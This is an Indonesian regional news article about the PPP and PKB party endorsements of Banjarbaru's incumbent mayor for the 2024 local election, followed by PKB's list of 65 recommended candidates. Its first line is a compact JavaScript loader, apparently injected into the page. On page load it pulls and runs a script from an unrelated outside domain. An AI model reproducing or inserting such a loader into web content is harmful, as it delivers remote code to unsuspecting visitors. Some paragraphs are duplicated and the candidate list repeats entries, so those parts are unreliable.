(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tinggal selangkah, jalan politik petahana Aditya Mufti Ariffin untuk ikut kontestasi Pilwali Banjarbaru 2024. Setelah beberapa hari sebelumnya mendapat dukungan Partai Kebangkitan Bangsa (PKB), kini Aditya mendapat rekomendasi dari partai sendiri, Partai Persatuan Pembangunan (PPP).
“Alhamdulillah, rekomendasi dari Partai Persatuan Pembangunan sudah diberikan. Kita bersyukur kepada Allah,” ujar Aditya, usai menerima langsung Rekomendasi Dukungan dari Plt Ketua Umum PPP, Muhammad Mardiono, di Jakarta, Jumat (31/5/2024) siang.
Aditya yang juga Ketua DPW PPP Kalimantan Selatan menjelaskan, dengan dukungan dari PPP ini, maka syarat minimal 6 kursi DPRD untuk pencalonan Wali Kota Banjarbaru telah terpenuhi. Sebagaimana diketahui dari Pemilu legislatif lalu, PPP memiliki 3 kursi DPRD Kota Banjarbaru, sementara PKB juga memiliki 3 kursi. “Alhamdulillah cukup,” cetus Aditya yang didampingi Sekretaris DPW PPP Kalsel, Arief Rahman Hakim.
Baca juga: Indonesia Surga Wisata Petualangan dan Olahraga Ekstrem
Kendati demikian, Aditya menyebut tetap terbuka dengan dukungan dari partai-partai lain di Banjarbaru yang mungkin saat ini masih dalam proses seleksi pencalonan.
“Kebersamaan dalam melanjutkan pembangunan di Kota Banjarbaru tentu sangat kami harapkan. Artinya, sekalipun sudah cukup syarat, kami masih sangat terbuka dan mengharapkan dukungan dari partai-partai lainnya. Mari bersama-sama kita lanjutkan pembangunan untuk Banjarbaru Semakin Juara,” ajak Aditya. Tapi sang petahana tak bocorkan siapa pasangan pendamping alias bakal calon wakil wali kota Banjarbaru di Pilwali 2024.
Sementara itu terkait rekomendasi DPP PPP untuk Aditya Mufti Ariffin ini, disambut penuh gembira jajaran DPC PPP Kota Banjarbaru. Ketua DPC PPP Kota Banjarbaru, Drs H Napsiani Samandi menyebutkan, rekomendasi DPP PPP sesuai dan sejalan dengan yang mereka harapkan.
“Kami DPC PPP Banjarbaru sejak awal selalu memberikan dukungan penuh untuk Muhammad Aditya Mufti Ariffin. Alhamdulillah, dukungan yang kami berikan sejalan dengan dukungan yang dikeluarkan DPP PPP,” ujar Napsiani, didampingi Sekretaris DPC PPP Banjarbaru, Gusti Muhammad Adam Maulana.
Baca juga: Ancar-ancar Poros Acil Odah-Rozanie di Pilgub Kalsel, Pesaing Muhidin-Hasnur
Hal senada diungkapkan Ketua Tim Penjaringan Bakal Calon Wali Kota Banjarbaru DPC PPP, Antung Mas Robeniansyah. “Apa yang diputuskan DPP, sesuai dengan harapan kami semua di PPP. Insyallah, Banjarbaru Semakin Juara,” ucap Beni diaminkan dua anggota tim penjaringan dari PPP Banjarbaru lain Munaji dan Abdulrajab.
DPP PKB Keluarkan Rekomendasi 65 Calon Kepala Daerah Termasuk Aditya
Sebelumnya, Partai Kebangkitan Bangsa (PKB) mengelurkan 65 rekomendasi calon bupati/wali kota yang didukung di Pilkada Serentak 2024. Salah satu nama terselip petahana Aditya Mufti Ariffin -Wali Kota Banjarbaru-.
Partai Kebangkitan Bangsa (PKB) telah mengeluarkan 65 rekomendasi calon bupati /wali kota yang didukung di Pilkada Serentak 2024 . Calon kepala daerah itu dipilih setelah melewati proses seleksi uji kelayakan dan kepatutan (UKK) di Dewan Pimpinan Pusat (DPP) PKB.
Baca juga: Jembatan Perempatan Jalan Trikora Guntung Manggis Mulai Dikerjakan
Ketua Desk Pemilihan Kepala Daerah (Pilkada) DPP PKB, Abdul Halim Iskandar mengatakan, setidaknya ada 2.978 orang yang mendaftar ke PKB untuk maju di Pilkada 2024. Dari jumlah itu, pihaknya terus melakukan UKK terhadap para pendaftar yang hendak maju di Pilkada 2024 lewat PKB.
“Maka, kita sudah melaksanakan 288 calon kepala daerah yang sudah kita dalami visi-misinya, problematika daerahnya, yang paling agak panjang, ketika ditanyakan problematika utama hari ini apa? Itu juga kita dalami dari 288 calon kepala daerah,” tutur Halim saat jumpa pers di DPP PKB, Jakarta Pusat, Rabu (29/5/2024) siang.
Ketua Desk Pemilihan Kepala Daerah (Pilkada) DPP PKB, Abdul Halim Iskandar mengatakan, setidaknya ada 2.978 orang yang mendaftar ke partainya untuk maju di Pilkada 2024. Dari jumlah itu, pihaknya terus melakukan UKK terhadap para pendaftar yang hendak maju di Pilkada 2024 lewat PKB.
“Maka, kita sudah melaksanakan 288 calon kepala daerah yang sudah kita dalami visi-misinya, problematika daerahnya, yang paling agak panjang, ketika ditanyakan problematika utama hari ini apa? Itu juga kita dalami dari 288 calon kepala daerah,” tutur Halim saat jumpa pers di DPP PKB, Jakarta Pusat, Rabu (29/5/2024).
Baca juga: Pemkab HSU Beri Penghargaan Warga yang Hibahkan Tanah untuk Fasilitas Pendidikan
Masih kata Halim, para cakada itu menjawab persoalan yang masih ditemukan yakni terkait kemiskinan, pembangunan SDM, infrastruktur hingga ketahanan pangan. Halim berkata, keempat isu itu menjadi prioritas utama yang mendominasi masalah di daerah.
“Dari 288 calon kepala daerah yang sudah kita UKK, kita sudah mengeluarkan 65 rekomendasi, untuk bupati/wali kota. Belum ada satu rekomendasi pun untuk gubernur. Kita masih melakukan pendalaman,” kata Halim.
Dengan munculnya rekomendasi PKB, semakin bakal memperkuat partai politik koalisi Aditya yang akan berkontestasi Pilwali Banjarbaru dengan dukungan penuh dari Partai Persatuan Pembangunan (PPP).
Dari rekomendasi DPP PKB, maka syarat kursi bisa terpenuhi jika ditambahkan dengan kursi PPP, dimana masing-masing partai memiliki 3 kursi di DPRD Banjarbaru.
Aditya dikonfirmasi terkait kabar tersebut, menyambutnya dengan apresiasi dan menjadi suatu kehormatan atas kepercayaan yang diberikan PKB.
Kendati demikian, dirinya akan tetap menunggu pengumuman resmi yang akan disampaikan DPC PKB Banjarbaru secara langsung.
“Alhamdulillah. Kami berterima kasih atas kepercayaan dari Partai Kebangkitan Bangsa.
Insyaallah, kepercayaan ini menjadi langkah awal yang baik untuk kita sama-sama melanjutkan pembangunan di Kota Banjarbaru,”ujar Aditya, Rabu (29/5/2024) malam.
Ini daftar 65 cakada yang direkomendasikan DPP PKB :
1. Timotius Kaidel & Mohammad Djumpa: Kepulauan Aru, Maluku
2. Ikram Umasugi & Sudarmo: Buru, Maluku
3. Yadi Rusmayadi: Purwakarta, Jawa Barat
4. Dadang Solihat: Pangandaran, Jawa Barat
5. Dani Ramdan: Bekasi, Jawa Barat
6. Raendi Rayendra: Kota Bogor, Jawa Barat
7. Supian Suri: Kota Depok, Jawa Barat
8. Ali Makki Zaini: Banyuwangi, Jawa Timur
9. Abdul Mujib Imron: Pasuruan, Jawa Timur
10. Lalu Ahmad Zaini: Lombok Barat, NTB
11. Lalu Muksin Mukhtar: Lombok Utara, NTB
12. Eri Cahyadi & Armudji: Kota Surabaya, Jawa Timur
13. Amar Nurmansyah: Sumbawa Barat, NTB
14. Weny Gaib: Kota Kotamobagu, Sulawesi Utara
15. Nanik Endang R: Magetan, Jawa Timur
16. Anna Mu’awanah: Bojonegoro, Jawa Timur
17. Muhammad Sarif: Jeneponto, Sulawesi Selagan
18. Darmawangsyah Muin: Gowa, Sulawesi Selatan
19. Rini Syarifah: Blitar, Jawa Timur
20. Raden Bagus Fattah Jasin: Pamekasan, Jawa Timur
21. Warsubi: Jombang, Jawa Timur
22. Ikfina Fahmawati: Mojokerto, Jawa Timur
23. Andi Rosman: Maros, Sulawesi Selatan
24. Andi Tenriliweng: Maros, Sulawesi Selatan
25. Hengky Yasin: Takalar, Sulawesi Selatan
26.Thoriqul Haq: Lumajang, Jawa Timur
27. Kristosimus Yohanes Agawemu & Sanusi: Mappi, Papua Selatan
28. Madri Pani: Berau, Kalimantan Timur
29. Frederick Edwin: Kutai Barat, Kalimantan Timur
30. Muhammad Zaini: Kota Parepare, Sulawesi Selatan
31. Ady Ansar: Kepulauan Selayar, Sulawesi Selatan
32. Louise Lucky Taolin & Eduardus Bere Atok: Malaka, NTT
33. Abdul Mutalib: Kota Singkawang Kalimantan Barat
34. Nahor Nekwek: Yalimo, Papua Pegunungan
35. Ruben Yason Rumboisano & Hendrik Lambert Maniagasi: Waropen, Papua
36. Mohamad Saleh Asnawi: Tanggamus, Lampung
37. Bahrul Ilmi: Barito Kuala, Kalimantan Selatan
38. Nandriani Octarina: Kota Palembang, Sumatera Selatan
39. Pantur Banjarnahor: Humbang Hasundutan, Sumatera Utara
40. Yanuar Prihatin: Kuningan, Jawa Barat
41. Marian: Tabalong, Kalimantan Selatan
42. Hadianto Rasyid & Imelda Liliana Muhidin: Kota Palu, Sulawesi Tengah
43. Muhammad Aditya Mufti Arifin: Kota Banjarbaru, Kalimantan Selatan
44. La Ode Darwin: Muna Barat, Sulawesi Tenggara
45. Effendi Ahmad: Kayong Utara, Kalimantan Barat
46. Askolani: Banyuasin, Sumatera Selatan
47. Lucianty: Musi Banyuasin, Sumatera Selatan
48. Ratna Machmud: Musi Rawas, Sumatera Selatan
49. Ony Anwar Harsono & Dwi Rianto Jatmiko: Ngawi, Jawa Timur
50. Musliadi: Kuantan Singingi, Riau
51. Eri Cahyadi & Armudji: Kota Surabaya
52. Rodi Wijaya: Kota Lubuklinggau, Sumatera Selatan
53. Chaidir Syam & Suhartina Bohari: Maros, Sulawesi Selatan
54. Irwan Hamid: Kota Palopo, Sulawesi Selatan
55. Ludi Oliansyah: Kota Pagar Alam, Sulawesi Selatan
56. Amos Edoway: Deiyai, Papua Tengah
57. Nuruddin Amin: Jepara, Jawa Tengah
58. Untung Tamsil & Yohana Dina Hindom: Fakfak, Papua Barat
59. Dendi Suryadi: Kutai Kertanegara, Kalimantan Timur
60. Hasim Adnan: Sukabumi, Jawa Barat
61. M Dadang Supriatna: Bandung, Jawa Barat
62. Erwin: Kota Bandung, Jawa Barat
63. Risharyudi Triwibowo: Buol, Sulawesi Tengah
64. La Ode Ruslan B: Buton, Sulawesi Tengah
65. Umbu Lili Pekuwali & Yonathan Hani, Sumba Timur, NTT. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.